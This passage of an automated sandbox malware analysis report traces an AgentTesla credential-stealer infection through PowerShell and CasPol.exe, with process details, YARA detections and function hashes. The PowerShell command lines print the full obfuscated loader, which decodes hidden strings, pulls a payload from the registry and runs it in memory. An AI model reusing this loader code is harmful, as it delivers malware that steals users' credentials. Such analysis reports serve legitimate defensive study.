ar'AuFKoELoFev6AsDHyCNoDNa6UdDNi1BaCSt0WiCMu8Ve8ClBmuFPy7UnDBu0HyCemBStDPe1GrCopCpaCCa8CaCSc0Re8LsBHuESaCWoCPlBDiDHa1CoCpa0HiDMy7NoCSpApaDUt5CaFBo6DiCAn0MaDDe7SeDFi3UnCreCHuCBi6sqCPl0MoDhi6Ou8BuBSaESe8ThCPr4ViDKu7SnDCy6BeCNoDLaCCh4MiCFe9NiFPa8An9TaFPo9KaFReEFo6SeCWhADoDOu5NoDHoCPe8ReDTr8Sp1DrEvaDNeCbyAFoCCa0spDAs7GiCSp0UnDTo6Sk8fj9Sa8In5Ge9Sa6Fe9Ur0Th9ThCDk8cu9Co8Ba5Ov8Su1LoEDe6ruCOrApiDkl7CoDDe7SuCbuACiCHy7afCHi7GaCLuAEkDTu7UnCPi0PrCEk0Pa8Pi9Un8La5st8ud1SkEAnBChCEnASkCDoBTmCVa6ViCTeAJuCFaBVaCSt1KaCunCKiCaf8MoCMa0SeCMeBPlDSh1Et9be7In8RoCHa'Vo;Mo&Br(Tr`$FlGRehReeAigFeiTesgahPh7Wh)Fo Sh`$TeCcoaInrRetUdwForEfistgYahIbtspiUdnFagSo1St;Ed`$FrCPraNorSmtPewStrKliBdgKohCotEniPonFigAn2ba St=do stSPrmUneimrRetAdeClnStsKobBuadirDinHosDi0Tr to'Su8Br1AnCRoEfjCNo9VuCSa4MiDZo7StCFl2UkCWeFPrCSkAStDSl7WiCUn1BoCMi0Br8Bn5He9Sk8Vi8Ka5BaFInEBlFAj6InDDoCudDCi6AnDSl1InCSt0InCSy8Le8AyBTiFce7AsDNo0DeCImBAlDNo1NiCBiCSlCTi8VoCSe0Fu8ReBGaEnoCDeCOmBChDMe1TeCMa0BaDus7KeCPeAWaDFe5clFFo6BuCLa0ReDDe7NoDJe3StCHyCAlCSt6SkCDi0BeDMe6bl8AnBkoEEt8AfCAc4TiDBa7DrDSt6AhCSkDGiCLi4NoCFu9AsFSp8uj9ReFDi9RoFSuEBa2ApCKo0unDGr1HiEFi1GrCGu0diCPe9KoCJa0DeCFr2ReCUn4phDmu1DaCEp0MiEDe3ubCJoAReDbl7vaEma3SkDBa0ToCPsBSkCTy6reDPo1GhCDeCMaCTeASkCTiBUdFFo5UnCWeAEuCHoCLaCTrBAnDEr1AlCMa0ThDCh7Hi8coDfo8un1GeFTr6KeDAd0PaCPeESkCBoEhaCEk0noDRe7AeCPeAMoDGu3UnCTe0DiDim7RaDCa1HeDud7PeCTiEInCCoESiCMo0NoDSh1JoDBu6Oo9Vi6Ha8Cr9Ro8An5Tu8UvDinEKo2VuEAr1ouFLe1De8Co5PlESy5Se8CaDtaFDyEFdERvCBaCPhBBgDTo1PuFKa5UnDla1UlDJo7ToFSu8An8Sv9UnFSpEMeEDeCRaCAfBKoDAp1AfFVe5beDUn1UnDAl7DsFSc8Du8CoCLo8Ca5Kv8SnDFrFCuEElFQu3HeCPaAPrCRoCTrCIn1HaFTa8Ma8BiCIt8GuCOv8AbCMu'He;Re&St(Gr`$SpGSihBeePrgSpiFasTehJu7Ga)Gr Un`$ChCtralerHotRewUnrTeibigUnhEstSkiNonStgGa2gu;Ma`$BiCPiaUnrUntOuwAdrUniUngElhTitDiiStnMogDa3Fl Br=Li TiSCemSaeAsrBotmaeRenDesgebkyaMorFlnStsHj0Sy Mo'Gr8Wi1saCReEfiCTy9TuCTi4TiDpe7riCDm2TeCOpFMaCFrAKrDSe7GrCKr1CiCIn0Le8BaBTaEMiCcoCKrBKeDFa3DiCBrAkaCTrEBrCFu0Hj8DiDAp8Go1LoEje6ReCOmAVeDKn7FoDBo7ReCGbAOnCDe7SlCOp7HaCRaAFeDQu7PsCMe0GrCmy0Sk8Si9Ko8Et1MaEac1NoCPl8BlCBrBTbCGaCFoCVrBCoCUn2BiDPs6HeDBr5ZoDAc7WhCChACoCSpFLsCGh0BjCUsECoDLa1stCma0inDSp7Gl8SaCMa'Di;Ph&Bi(Al`$DeGAmhGreGigSkiAmsFohSa7Me)Mo To`$FaCShaMarSvtFlwDirKliBrgMahcitnaiTrnFogSu3Ta#Ga;""";;Function Cartwrighting9 { param([String]$Regionsplanlovs); For($Klistringer=2; $Klistringer -lt $Regionsplanlovs.Length-1; $Klistringer+=(2+1)){ $Smertensbarns = $Smertensbarns + $Regionsplanlovs.Substring($Klistringer, 1); } $Smertensbarns;}$talose0 = Cartwrighting9 'CeIFoEReXPr ';$talose1= Cartwrighting9 $Vildmnd;if([IntPtr]::size -eq 8){.$env:windir\S64\WPower\v1.0\ll.exe $talose1 ;}else{.$talose0 $talose1;}
Imagebase:	0x7ff7287a0000
File size:	452608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Show Windows behavior

Target ID:	3
Start time:	15:50:34
Start date:	01/12/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7b44d0000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	4
Start time:	15:50:36
Start date:	01/12/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):
Commandline:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Smertensbarns0 { param([String]$Regionsplanlovs); $Delintervallernes = New-Object byte[] ($Regionsplanlovs.Length / 2); For($Klistringer=0; $Klistringer -lt $Regionsplanlovs.Length; $Klistringer+=2){ $Delintervallernes[$Klistringer/2] = [convert]::ToByte($Regionsplanlovs.Substring($Klistringer, 2), 16); $Delintervallernes[$Klistringer/2] = ($Delintervallernes[$Klistringer/2] -bxor 165); } [String][System.Text.Encoding]::ASCII.GetString($Delintervallernes);}$Forskningsresultaters0=Smertensbarns0 'F6DCD6D1C0C88BC1C9C9';$Forskningsresultaters1=Smertensbarns0 'E8CCC6D7CAD6CAC3D18BF2CCCB96978BF0CBD6C4C3C0EBC4D1CCD3C0E8C0D1CDCAC1D6';$Forskningsresultaters2=Smertensbarns0 'E2C0D1F5D7CAC6E4C1C1D7C0D6D6';$Forskningsresultaters3=Smertensbarns0 'F6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C3';$Forskningsresultaters4=Smertensbarns0 'D6D1D7CCCBC2';$Forskningsresultaters5=Smertensbarns0 'E2C0D1E8CAC1D0C9C0EDC4CBC1C9C0';$Forskningsresultaters6=Smertensbarns0 'F7F1F6D5C0C6CCC4C9EBC4C8C08985EDCCC1C0E7DCF6CCC28985F5D0C7C9CCC6';$Forskningsresultaters7=Smertensbarns0 'F7D0CBD1CCC8C08985E8C4CBC4C2C0C1';$Forskningsresultaters8=Smertensbarns0 'F7C0C3C9C0C6D1C0C1E1C0C9C0C2C4D1C0';$Forskningsresultaters9=Smertensbarns0 'ECCBE8C0C8CAD7DCE8CAC1D0C9C0';$Ghegish0=Smertensbarns0 'E8DCE1C0C9C0C2C4D1C0F1DCD5C0';$Ghegish1=Smertensbarns0 'E6C9C4D6D68985F5D0C7C9CCC68985F6C0C4C9C0C18985E4CBD6CCE6C9C4D6D68985E4D0D1CAE6C9C4D6D6';$Ghegish2=Smertensbarns0 'ECCBD3CACEC0';$Ghegish3=Smertensbarns0 'F5D0C7C9CCC68985EDCCC1C0E7DCF6CCC28985EBC0D2F6C9CAD18985F3CCD7D1D0C4C9';$Ghegish4=Smertensbarns0 'F3CCD7D1D0C4C9E4C9C9CAC6';$Ghegish5=Smertensbarns0 'CBD1C1C9C9';$Ghegish6=Smertensbarns0 'EBD1F5D7CAD1C0C6D1F3CCD7D1D0C4C9E8C0C8CAD7DC';$Ghegish7=Smertensbarns0 'ECE0FD';$Ghegish8=Smertensbarns0 'F9';function fkp {Param ($Upgrown, $Depressionsperioder) ;$Hoeres0 =Smertensbarns0 '81EED7C8C8C0D7C0CB8598858DFEE4D5D5E1CAC8C4CCCBF89F9FE6D0D7D7C0CBD1E1CAC8C4CCCB8BE2C0D1E4D6D6C0C8C7C9CCC0D68D8C85D985F2CDC0D7C088EAC7CFC0C6D185DE8581FA8BE2C9CAC7C4C9E4D6D6C0C8C7C9DCE6C4C6CDC08588E4CBC18581FA8BE9CAC6C4D1CCCACB8BF6D5C9CCD18D81E2CDC0C2CCD6CD9D8CFE8894F88BE0D4D0C4C9D68D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6958C85D88C8BE2C0D1F1DCD5C08D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6948C';&($Ghegish7) $Hoeres0;$Hoeres5 = Smertensbarns0 '81E6CDCCC9C985988581EED7C8C8C0D7C0CB8BE2C0D1E8C0D1CDCAC18D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6978985FEF1DCD5C0FEF8F885E58D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D696898581E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6918C8C';&($Ghegish7) $Hoeres5;$Hoeres1 = Smertensbarns0 'D7C0D1D0D7CB8581E6CDCCC9C98BECCBD3CACEC08D81CBD0C9C98985E58DFEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C3F88DEBC0D288EAC7CFC0C6D185F6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BEDC4CBC1C9C0F7C0C38D8DEBC0D288EAC7CFC0C6D185ECCBD1F5D1D78C89858D81EED7C8C8C0D7C0CB8BE2C0D1E8C0D1CDCAC18D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6908C8C8BECCBD3CACEC08D81CBD0C9C98985E58D81F0D5C2D7CAD2CB8C8C8C8C898581E1C0D5D7C0D6D6CCCACBD6D5C0D7CCCAC1C0D78C8C';&($Ghegish7) $Hoeres1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Nondecorously,[Parameter(Position = 1)] [Type] $Coeliomyalgia = [Void]);$Hoeres2 = Smertensbarns0 '81EDC4DCCBC0D6859885FEE4D5D5E1CAC8C4CCCBF89F9FE6D0D7D7C0CBD1E1CAC8C4CCCB8BE1C0C3CCCBC0E1DCCBC4C8CCC6E4D6D6C0C8C7C9DC8D8DEBC0D288EAC7CFC0C6D185F6DCD6D1C0C88BF7C0C3C9C0C6D1CCCACB8BE4D6D6C0C8C7C9DCEBC4C8C08D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D69D8C8C8985FEF6DCD6D1C0C88BF7C0C3C9C0C6D1CCCACB8BE0C8CCD18BE4D6D6C0C8C7C9DCE7D0CCC9C1C0D7E4C6C6C0D6D6F89F9FF7D0CB8C8BE1C0C3CCCBC0E1DCCBC4C8CCC6E8CAC1D0C9C08D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D69C898581C3C4C9D6C08C8BE1C0C3CCCBC0F1DCD5C08D81E2CDC0C2CCD6CD95898581E2CDC0C2CCD6CD948985FEF6DCD6D1C0C88BE8D0C9D1CCC6C4D6D1E1C0C9C0C2C4D1C0F88C';&($Ghegish7) $Hoeres2;$Hoeres3 = Smertensbarns0 '81EDC4DCCBC0D68BE1C0C3CCCBC0E6CACBD6D1D7D0C6D1CAD78D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6938985FEF6DCD6D1C0C88BF7C0C3C9C0C6D1CCCACB8BE6C4C9C9CCCBC2E6CACBD3C0CBD1CCCACBD6F89F9FF6D1C4CBC1C4D7C1898581EBCACBC1C0C6CAD7CAD0D6C9DC8C8BF6C0D1ECC8D5C9C0C8C0CBD1C4D1CCCACBE3C9C4C2D68D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6928C';&($Ghegish7) $Hoeres3;$Hoeres4 = Smertensbarns0 '81EDC4DCCBC0D68BE1C0C3CCCBC0E8C0D1CDCAC18D81E2CDC0C2CCD6CD97898581E2CDC0C2CCD6CD96898581E6CAC0C9CCCAC8DCC4C9C2CCC4898581EBCACBC1C0C6CAD7CAD0D6C9DC8C8BF6C0D1ECC8D5C9C0C8C0CBD1C4D1CCCACBE3C9C4C2D68D81E3CAD7D6CECBCCCBC2D6D7C0D6D0C9D1C4D1C0D7D6928C';&($Ghegish7) $Hoeres4;$Hoeres5 = Smertensbarns0 'D7C0D1D0D7CB8581EDC4DCCBC0D68BE6D7C0C4D1C0F1DCD5C08D8C';&($Ghegish7) $Hoeres5 ;}$Uncouple = Smertensbarns0 'CEC0D7CBC0C99697';$Hoeres6 = Smertensbarns0 '81F2C0D7C0D7C4D1859885FEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BE8C4D7D6CDC4C9F89F9FE2C0D1E1C0C9C0C2C4D1C0E3CAD7E3D0CBC6D1CCCACBF5CACCCBD1C0D78D8DC3CED58581F0CBC6CAD0D5C9C08581E2CDC0C2CCD6CD918C89858DE2E1F185E58DFEECCBD1F5D1D7F88985FEF0ECCBD19697F88985FEF0ECCBD19697F88985FEF0ECCBD19697F88C858DFEECCBD1F5D1D7F88C8C8C';&($Ghegish7) $Hoeres6;$Dmningsprojekter = fkp $Ghegish5 $Ghegish6;$Hoeres7 = Smertensbarns0 '81F6D0CECEC0D7CAD3C0D7D1D7CECEC0D1D69685988581F2C0D7C0D7C4D18BECCBD3CACEC08DFEECCBD1F5D1D7F89F9FFFC0D7CA898596909C898595DD96959595898595DD91958C';&($Ghegish7) $Hoeres7;$Hoeres8 = Smertensbarns0 '81E6CAD7D7CAC7C7CAD7C0C085988581F2C0D7C0D7C4D18BECCBD3CACEC08DFEECCBD1F5D1D7F89F9FFFC0D7CA898595DD949595959595898595DD96959595898595DD918C';&($Ghegish7) $Hoeres8;$Cartwrighting=(Get-ItemProperty -Path 'HKCU:\Pseudambulacrum\konstitutionel').Bjfs;$Hoeres9 = Smertensbarns0 '81EDCAC0D7C0D6859885FEF6DCD6D1C0C88BE6CACBD3C0D7D1F89F9FE3D7CAC8E7C4D6C09391F6D1D7CCCBC28D81E6C4D7D1D2D7CCC2CDD1CCCBC28C';&($Ghegish7) $Hoeres9;$Cartwrighting0 = Smertensbarns0 'FEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BE8C4D7D6CDC4C9F89F9FE6CAD5DC8D81EDCAC0D7C0D689859589858581F6D0CECEC0D7CAD3C0D7D1D7CECEC0D1D696898596909C8C';&($Ghegish7) $Cartwrighting0;$Noncondiment2=$Hoeres.count-359;$Cartwrighting1 = Smertensbarns0 'FEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BE8C4D7D6CDC4C9F89F9FE6CAD5DC8D81EDCAC0D7C0D6898596909C898581E6CAD7D7CAC7C7CAD7C0C0898581EBCACBC6CACBC1CCC8C0CBD1978C';&($Ghegish7) $Cartwrighting1;$Cartwrighting2 = Smertensbarns0 '81CEC9C4D7C2CFCAD7C1C0859885FEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6C0D68BE8C4D7D6CDC4C9F89F9FE2C0D1E1C0C9C0C2C4D1C0E3CAD7E3D0CBC6D1CCCACBF5CACCCBD1C0D78D81F6D0CECEC0D7CAD3C0D7D1D7CECEC0D1D69689858DE2E1F185E58DFEECCBD1F5D1D7F889FEECCBD1F5D1D7F88C858DFEF3CACCC1F88C8C8C';&($Ghegish7) $Cartwrighting2;$Cartwrighting3 = Smertensbarns0 '81CEC9C4D7C2CFCAD7C1C08BECCBD3CACEC08D81E6CAD7D7CAC7C7CAD7C0C08981E1C8CBCCCBC2D6D5D7CACFC0CED1C0D78C';&($Ghegish7) $Cartwrighting3#
Imagebase:
File size:	433152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	7
Start time:	15:50:54
Start date:	01/12/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Imagebase:	0x9b0000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Function 00007FF825BB5090 Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2462168757.00007FF825BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF825BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff825bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfeb2281a58f1676ac446661899e0cef63c31899c8e100011af1ece54d9b474d
Instruction ID: 90f75531c161095d29df3128abf72c3ef8082d4e027e69578b4650c147b55aae
Opcode Fuzzy Hash: dfeb2281a58f1676ac446661899e0cef63c31899c8e100011af1ece54d9b474d
Instruction Fuzzy Hash: 3D91123091D7864FE706EB2898915E57FA0EF92760B0400BED089CF1A3EA69BC46C752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF825BB5118 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2462168757.00007FF825BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF825BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff825bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46fed6240746d391d63a39ca372d936b7dab7333190b05b093899f26ca61cc7e
Instruction ID: b78686e8906c7eedb29bf35bc0a72833ffb80b98158f150b00b77cbd1ef7fd47
Opcode Fuzzy Hash: 46fed6240746d391d63a39ca372d936b7dab7333190b05b093899f26ca61cc7e
Instruction Fuzzy Hash: CF41C47061CB498FD788DE1CC8859B5B7E2FBA9750B10057DE48AC7296EB62FC42C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF825BB3BF7 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2462168757.00007FF825BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF825BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff825bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29eae0b6ff33b2d49d93290626b011dead1b4a4b84965552eb33d6b691e7f92d
Instruction ID: a3ee4c7a8e695fd8f689289362083a56c8fb814e8cb6208e3ab033078384054d
Opcode Fuzzy Hash: 29eae0b6ff33b2d49d93290626b011dead1b4a4b84965552eb33d6b691e7f92d
Instruction Fuzzy Hash: DF316D31A189098FDF98EF5CD895AAC77E1FF68750F140169D409DB296CE64FC82C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF825BB3535 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2462168757.00007FF825BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF825BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff825bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24ba00a0b3ed904ba1423c6eb5ec5aacd20f0bfb85cc6ccb291ea0c276a7c962
Instruction ID: 6aa5b52b2c6c46326aa4c6c4cca71307c1edb08f70fee337a4c4ae0acbabe46f
Opcode Fuzzy Hash: 24ba00a0b3ed904ba1423c6eb5ec5aacd20f0bfb85cc6ccb291ea0c276a7c962
Instruction Fuzzy Hash: 0F01847011CB0C4FD748EF0CE451AA5B3E0FB95320F10056DE58AC3251DB22E881CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF825BB524F Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2462168757.00007FF825BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF825BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff825bb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21cb1261c9de1ffd8c3752d3c465dcbff27f4ae43a5a0a91bbdb9a8433cfa56a
Instruction ID: f228f43ff645f6517a1c8cc1ff04dadb2fa567ac15715184267ba44560cb0d7d
Opcode Fuzzy Hash: 21cb1261c9de1ffd8c3752d3c465dcbff27f4ae43a5a0a91bbdb9a8433cfa56a
Instruction Fuzzy Hash: 46F0547175CB448FDB9CDA1CE84197977D1EBD9330F10062EF08BC66D6DA26F8428646

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CasPol.exePID: 392, Parent PID: 8364COMMON

Execution Graph

Execution Coverage:	28.9%
Dynamic/Decrypted Code Coverage:	99.9%
Signature Coverage:	2.9%
Total number of Nodes:	727
Total number of Limit Nodes:	21

Executed Functions

Function 00CD5C38 Relevance: 36.8, Strings: 28, Instructions: 1845COMMON

Download Yara Rule

Strings

\Or, xrefs: 00CD73C5
\Or, xrefs: 00CD6D22
\Or, xrefs: 00CD6F66
\Or, xrefs: 00CD73E1
\Or, xrefs: 00CD72FC
\Or, xrefs: 00CD71E0
\Or, xrefs: 00CD6B76
\Or, xrefs: 00CD6D00
\Or, xrefs: 00CD7185
\Or, xrefs: 00CD7367
\Or, xrefs: 00CD6C3A
\Or, xrefs: 00CD6FDA
\Or, xrefs: 00CD70F8
\Or, xrefs: 00CD716C
\Or, xrefs: 00CD6BC1
\Or, xrefs: 00CD68FA
\Or, xrefs: 00CD6944
\Or, xrefs: 00CD6CAE
\Or, xrefs: 00CD6D74
\Or, xrefs: 00CD7383
\Or, xrefs: 00CD6EF2
\Or, xrefs: 00CD6C18
\Or, xrefs: 00CD6A02
\Or, xrefs: 00CD6FC1
\Or, xrefs: 00CD6F7F
\Or, xrefs: 00CD6B53
\Or, xrefs: 00CD6C8C
\Or, xrefs: 00CD71C7

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID:
String ID: \Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or
API String ID: 0-2445308728
Opcode ID: fd88fa5526de173d6dfe3514cdf67040d6e23750ea5455c5c82581f6716f574a
Instruction ID: c6f009a8ec3bdaa064f386b99c548efb8ecc730cb02b7dccd76c3a30f9901373
Opcode Fuzzy Hash: fd88fa5526de173d6dfe3514cdf67040d6e23750ea5455c5c82581f6716f574a
Instruction Fuzzy Hash: FCF27E70A012148FEB54DB79C894BAEB7F2AF84300F1581AAD61AEB391EF34DD41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1F827AE0 Relevance: 26.3, Strings: 16, Instructions: 6298COMMON

Download Yara Rule

Strings

\Or, xrefs: 1F82D160
d, xrefs: 1F82BDD7
\Or, xrefs: 1F828024
\Or, xrefs: 1F829F92
d, xrefs: 1F82A04D
\Or, xrefs: 1F829838
\Or, xrefs: 1F82D2BB
\Or, xrefs: 1F82D230
\Or, xrefs: 1F827BF3
\Or, xrefs: 1F82BA62
*r, xrefs: 1F82BB41
\Or, xrefs: 1F82BE51
\Or, xrefs: 1F82D1A5
\Or, xrefs: 1F82D1B1
\Or, xrefs: 1F82CF7D
\Or, xrefs: 1F82BA52

Memory Dump Source

Source File: 00000007.00000002.6694091498.000000001F820000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1f820000_CasPol.jbxd

Similarity

API ID:
String ID: \Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$d$d$*r
API String ID: 0-1591864158
Opcode ID: 642e55a7924c06f674111b54181711207bf7e7c0a93eecc43f32edfa7de5fd85
Instruction ID: 3fa14484c28794bb458c46a2c72077232661905d1cb1c14faa7d63c8ff376848
Opcode Fuzzy Hash: 642e55a7924c06f674111b54181711207bf7e7c0a93eecc43f32edfa7de5fd85
Instruction Fuzzy Hash: 77D3B275D00A299FDB65CF69C844AC9BBF2BF89300F0581E5E90CAB261D771AE85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00CD79E0 Relevance: 18.5, Strings: 14, Instructions: 1036
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Or, xrefs: 00CD82D1
\Or, xrefs: 00CD82B2
\Or, xrefs: 00CD85EA
\Or, xrefs: 00CD849F
\Or, xrefs: 00CD7E12
\Or, xrefs: 00CD7D6E
\Or, xrefs: 00CD8308
\Or, xrefs: 00CD84C9
\Or, xrefs: 00CD8538
\Or, xrefs: 00CD832E
\Or, xrefs: 00CD7DA6
r, xrefs: 00CD81C0
\Or, xrefs: 00CD8567
r, xrefs: 00CD81F9

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID:
String ID: r$ r$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or
API String ID: 0-988043974
Opcode ID: 0d7b979bb3c96d0d23bd9686a2a1f70e27cec9b22326975a6c5ab4073b13fe9f
Instruction ID: 2cd5f0c58d16396f1c455888d7444bef5633e68fc24d18f1635a39e37e2de86f
Opcode Fuzzy Hash: 0d7b979bb3c96d0d23bd9686a2a1f70e27cec9b22326975a6c5ab4073b13fe9f
Instruction Fuzzy Hash: E0927135A002288FDB15DF74C898B9DB7F2AF89300F1585AAE50AAB361DF719D45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00CDC323 Relevance: 18.2, Strings: 14, Instructions: 738COMMON

Download Yara Rule

Strings

\Or, xrefs: 00CDC4C7
\Or, xrefs: 00CDC758
\Or, xrefs: 00CDC4E4
\Or, xrefs: 00CDC73B
\Or, xrefs: 00CDC3D5
\Or, xrefs: 00CDC496
\Or, xrefs: 00CDC8EE
\Or, xrefs: 00CDC70A
*r, xrefs: 00CDC459
*r, xrefs: 00CDC6C9
\Or, xrefs: 00CDCA56
\Or, xrefs: 00CDCA1F
\Or, xrefs: 00CDC8FA
*r, xrefs: 00CDC9E5

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID:
String ID: \Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$*r$*r$*r
API String ID: 0-2268267026
Opcode ID: 6e962d6e5a9f1d7c6b84878082006dc61bd95f2ece30bb11c41046d53de93290
Instruction ID: 612bf23885deb36ad61175ab924d99db7d43bf6d4a746b9d1e87eb4abdb29c63
Opcode Fuzzy Hash: 6e962d6e5a9f1d7c6b84878082006dc61bd95f2ece30bb11c41046d53de93290
Instruction Fuzzy Hash: 0B52C430A002458FEF24DFB8C994BADBBB2AF85304F24C16AD2199F396CA35DD45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00CD5128 Relevance: 18.2, Strings: 14, Instructions: 673
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

r, xrefs: 00CD53FE
r, xrefs: 00CD53C5
\Or, xrefs: 00CD5481
\Or, xrefs: 00CD5684
\Or, xrefs: 00CD52E9
\Or, xrefs: 00CD571F
\Or, xrefs: 00CD57A2
\Or, xrefs: 00CD565A
\Or, xrefs: 00CD52B1
\Or, xrefs: 00CD54DE
\Or, xrefs: 00CD56F0
\Or, xrefs: 00CD5355
\Or, xrefs: 00CD5462
\Or, xrefs: 00CD54B8

Memory Dump Source

Source File: 00000007.00000002.6646271339.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_cd0000_CasPol.jbxd

Similarity

API ID:
String ID: r$ r$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or$\Or
API String ID: 0-988043974
Opcode ID: 8052b89c6b66771d7c6681e686870de6a3f30f992238be5b848946f383a288fe
